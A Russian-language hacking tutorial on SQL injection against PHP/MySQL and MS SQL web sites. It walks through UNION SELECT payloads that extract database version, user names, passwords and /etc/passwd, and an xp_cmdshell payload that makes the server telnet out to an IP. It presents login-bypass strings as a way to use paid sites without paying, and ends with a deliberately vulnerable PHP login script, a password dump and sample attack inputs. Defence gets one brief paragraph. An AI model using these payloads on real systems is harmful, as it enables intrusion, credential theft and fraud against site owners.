Львиная доля современных web-приложений использует для хранения больших объемов информации базы данных. Практически все языки программирования, используемые на стороне сервера, поддерживают работу с базами данных, а обеспечивает интерфейс взаимодействия между языком программирования и хранилищем данных система управления базой данных (СУБД), которая осуществляет управление базой на низком уровне.
Наибольшее признание у web-разработчиков получили СУБД MySQL, PostgreSQL, Microsoft SQL. Для обращения к СУБД используется специальный структурированный язык запросов под названием SQL(Structured Query Language).
SQL-injection (SQL-инъекция, вторжение) – это метод получения доступа к данным сервера посредством подмены части определенного SQL-запроса на код злоумышленника.
Смысл данной атаки заключается в нахождении и использовании ошибки разработчика на стыке двух технологий - web и SQL. При обработке данных, приходящих от пользователя, большинство скриптов на основании этих данных формирует запрос к базе, при отсутствии всевозможных проверок и должной защитной фильтрации, очень легко получить доступ к базе подменой ожидаемых данных на код взломщика.
Например, рассмотрим распространенную уязвимость (в связке PHP/MySQL) сайтов недобросовестных разработчиков по шагам. У нас есть рабочий URL:
site.ru/index.php?id=123
Проверим его на наличие фильтрации, подставив в конец кавычку:
site.ru/index.php?id=123’
Сайт с защитной фильтрацией должен выдать ошибку, но если ошибки нет, это не значит, что сайт уязвим, возможно, просто вывод ошибок в браузер запрещен в настройках сервера. Чтобы полностью удостовериться в наличии уязвимости подставим арифметическое выражение:
site.ru/index.php?id=124-1
Если теперь в окне браузера будет выведена страница в таком же виде как
site.ru/index.php?id=123
,значит, выражение было выполнено и сценарий не отфильтровал его – это говорит о том, что уязвимость присутствует.
Теперь необходимо определить из какого поля таблицы выводятся данные в браузер. Для этого вводим такой код:
site.ru/index.php?id=123 +union+select+1,2,3,4,5,6,7,8/*
Если в браузере выведется цифра 5 – значит, выводится значение 5 поля. Воспользуемся этим значением, попробуем выполнить команду и выяснить версию SQL:
site.ru/index.php?id=123 +union+select+1,2,3,4,version(),6,7,8/*
В браузере выведется номер версии SQL. Можно узнать имя пользователя базы данных:
site.ru/index.php?id=123 +union+select+1,2,3,4,user(),6,7,8/*
Выведется имя пользователя базы, например user@localhost. Также легко выясняем имя базы данных такой командой:
site.ru/index.php?id=123 +union+select+1,2,3,4,database(),6,7,8/*
Получим имя базы, например bd_site.
Теперь попробуем получить имя пользователя из таблицы, в которой хранятся данные о пользователях.
Необходимо методом "научного тыка" выяснить имя этой таблицы, предположим users. Пробуем ввести следующий URL:
site.ru/index.php?id=123 +union+select+1,2,3,4,name,6,7,8 +from+users+limit+1,1
Если имя таблицы введено правильно, то в браузере появится имя первого пользователя из таблицы, к примеру, admin. Теперь можно узнать его пароль:
site.ru/index.php?id=123 +union+select+1,2,3,4,password,6,7,8 +from+users+limit+1,1
Через такую дырку в защите можно даже читать файлы с сервера:
site.ru/index.php?id=123 +union+select+1,2,3,4, loаd_filе(/еtc/pаsswd),6,7,8/*
Мы получим содержимое стандартного файла паролей в каталоге /etc, для семейства UNIX-подобных систем.
Все выше перечисленные действия принципиально не отличаются в СУБД MySQL, PostgreSQL и MS SQL Server. Но в MS SQL Server еще проще получить пароли, если упущена должная фильтрация. Исполняя команды на сервере при помощи ехес mаstеr..хp_сmdshеll, можно подключиться к некоторому IP по Telnet'у, вместо пароля или логина вставив:
'; еxеc mаstеr..xp_cmdshеll 'tеlnеt 192.168.0.12' --
Для защиты от подобного типа вторжений необходимо использовать фильтры, предоставляемые производителями СУБД. Необходимо так же разрабатывать свои собственные решения для защиты – самодельные фильтры и проверки, активно используя регулярные выражения (в PHP много интересных функций для работы с ними).

Очень часто для того, чтобы скачать с какого-либо ресурса файл или получить возможность использовать какой-нибудь сервис, от нас требуют регистрацию. Все бы ничего, но вот регистрироваться за деньги это уже слишком, поэтому давайте рассмотрим один из вариантов получения доступа по шагам. Распространенная схема авторизации на PHP в связке с MySQL обычно выглядит примерно так:
$result=mysql_db_query($DB,"SELECT * FROM $table WHERE name='$login' AND
password='$pass'");
$numRows=mysql_num_rows($result);
mysql_close($link);
if ($numRows!=NULL)
{
// код, выполняемый в случае успешной авторизации
// ( когда логин и пароль введены верно )
else
{
// код, выполняемый в случае непрохождения авторизации
// ( введенные логин и пароль не соответствуют )
}

При вводе данных в форму авторизации, формируется запрос примерно такого содержания:
http://www.site.ru?login=ivan&pass=12345
Затем скрипт, обрабатывающий данные формы авторизации, формирует SQL запрос следующего вида:
SELECT * FROM users WHERE login='ivan' AND pass='12345'
После выполнения такого запроса функция mysql_db_query() вернет все записи из таблицы "users" с логином "ivan" и паролем "12345". Из приведенного в начале кода видно, что при наличии в базе пользователя с такими данными, перейдет управление к блоку кода, выполняемому в случае успешной авторизации. Авторизоваться на таком сайте можно и без пароля, при отсутствии в скрипте авторизации экранов и всевозможных фильтров, исключающих выполнение посторонних SQL-инструкций. Попробуем указать в качестве пароля строку:
12345’ AND id=’21
В этом случае сформируется запрос следующего вида:
SELECT * FROM users WHERE login='ivan' AND password='12345' AND id='21'
Получается, что теперь авторизация будет успешной лишь в том случае, если совпадут не только логин и пароль, но и идентификатор пользователя. Легко догадаться, что теперь при помощи логического оператора OR, мы можем добавить инструкцию, которая всегда будет возвращать true. Для этого введем в поле логина строку:
ivan’ OR 1=1--‘
Сформируется запрос следующего вида:
SELECT * FROM users WHERE login='ivan' OR 1=1--' AND pass='12345'
Для тех, "кто в танке", поясню, что последовательность "--" говорит о конце запроса, поэтому вся последующая часть SQL-инструкции выполняться не будет. В результате, какой бы логин мы ни ввели, а тем более пароль, будет выполняться блок кода успешной авторизации. Теперь мы авторизованные пользователи ресурса и можем качать все, что нам нужно и пользоваться всеми привилегиями.
Все это хорошо, но это общий случай. В каждом отдельном случае, мы не можем знать в какой последовательности и как, формируется запрос к базе. Поэтому придется вводить конструкции типа "ivan’ OR 1=1--" в каждое поле формы авторизации. Обязательно проверьте форму авторизации на наличие hidden полей. Если они существуют, необходимо сохранить HTML-страницу и подставить в ее код нужные значения hidden полей, после чего запустить, не забыв при этом указать полный путь к скрипту-обработчику формы авторизации в теге .
Необходимо не забывать и о том, что у разных программистов разные стили, кто-то использует в запросах ‘, кто-то “, а некоторые вообще обходятся без них, поэтому и SQL-инъекции могут выглядеть так:

' OR 1=1--
" OR 1=1--
OR 1=1--

Не исключено и использование в запросах круглых скобок, например:
SELECT * FROM users WHERE (login='ivan' AND pass='12345')
В этом случае можно попробовать такой вариант:
') OR ('a'='a
Главное при подборе нужной инструкции опробовать как можно больше вариантов, и тогда удача вам обязательно улыбнется :).

Пример уязвимого скрипта, демонстрирующего пример с авторизацией, любезно предоставленного Shadie, а также дамп бд:

   1.      <?php
   2.      ini_set('error_reporting', E_ALL);
   3.      ini_set('display_errors', 'on');
   4.      mysql_connect('localhost', 'h4ck3r', 'h4ck3r');
   5.      mysql_select_db('hack');
   6.      if ($_POST) {
   7.          $sql = "SELECT * FROM `users` WHERE `login`='".$_POST['login']."'".
   8.                 " AND `passwd`='".md5($_POST['pass'])."'";
   9.          $user_res = mysql_query($sql);
  10.          $user = array();
  11.          if (!$user_res) {
  12.              echo "Fail";
  13.          } else {
  14.              $user = mysql_fetch_array($user_res);
  15.          }
  16.      }
  17.     
  18.      if ($user) {
  19.      ?>
  20.          Hello, <?=$user['login']?>.
  21.      <?php
  22.      } else {
  23.          if ($_POST) {
  24.              ?>
  25.          <?=$_POST['login']?> is not valid login.
  26.          <?php
  27.          }
  28.     
  29.      ?>
  30.          <form method="post">
  31.              Login: <input type="text" name="login"/><br/>
  32.              Pass: <input type="text" name="pass"/><br/>
  33.              <input type="submit" value="enter"/>
  34.          </form>
  35.      <?php
  36.      }
  37.      /*
  38.      --
  39.      -- Table structure for table `users`
  40.      --
  41.     
  42.      CREATE TABLE IF NOT EXISTS `users` (
  43.        `id` int(11) NOT NULL AUTO_INCREMENT,
  44.        `login` varchar(32) NOT NULL,
  45.        `passwd` varchar(32) NOT NULL,
  46.        PRIMARY KEY (`id`),
  47.        UNIQUE KEY `login` (`login`)
  48.      ) ENGINE=MyISAM  DEFAULT CHARSET=UTF-8 AUTO_INCREMENT=2;
  49.     
  50.      --
  51.      -- Dumping data for table `users`
  52.      --
  53.     
  54.      INSERT INTO `users` (`id`, `login`, `passwd`) VALUES
  55.      (1, 'shadie', '202cb962ac59075b964b07152d234b70'),
  56.      (2, 'test', 'test');
  57.     
  58.      */
  59.     
  60.      /*
  61.      * sample data:
  62.      * 1. Вход под известным логином
  63.      * login : shadie' OR '1'='1
  64.      * либо login: shadie' --
  65.      * > Hello, shadie
  66.      *
  67.      * 2. Вход под первым логином в базе
  68.      * login : ' OR 1 LIMIT 1 --
  69.      * > Hello, shadie
  70.      *
  71.      * 3. Перебор логинов в базе (M - число-смещение от начала таблицы)
  72.      * login : ' OR 1 LIMIT M,1 --
  73.      * > (M == 1) Hello, test
  74.      *
  75.      * 4. Получение хэша пароля
  76.      * login : ' UNION SELECT `id`, `passwd` AS 'login', `passwd` FROM `users` --
  77.      * > Hello, 202cb962ac59075b964b07152d234b70.
  78.      * (LIMIT используется так же как и в предыдущем случае)
  79.      *
  80.      */
  81.      ?>

На этой торжественной ноте, пожалуй, будем заканчивать. На самом деле, данную тему можно развернуть на несколько страниц текста, т.к. она очень обширна и уложиться в одну статью попросту невозможно. Поэтому, в качестве дополнения к статье, предлагаю читателям самостоятельно изучить вот эту брошюру от Positive Technologies(спасибо Pr0d-у за линк :)), которая является отличным наглядным пособием по SQL-инъекциям, пожалуй, лучшим из того, что я видел по данной теме.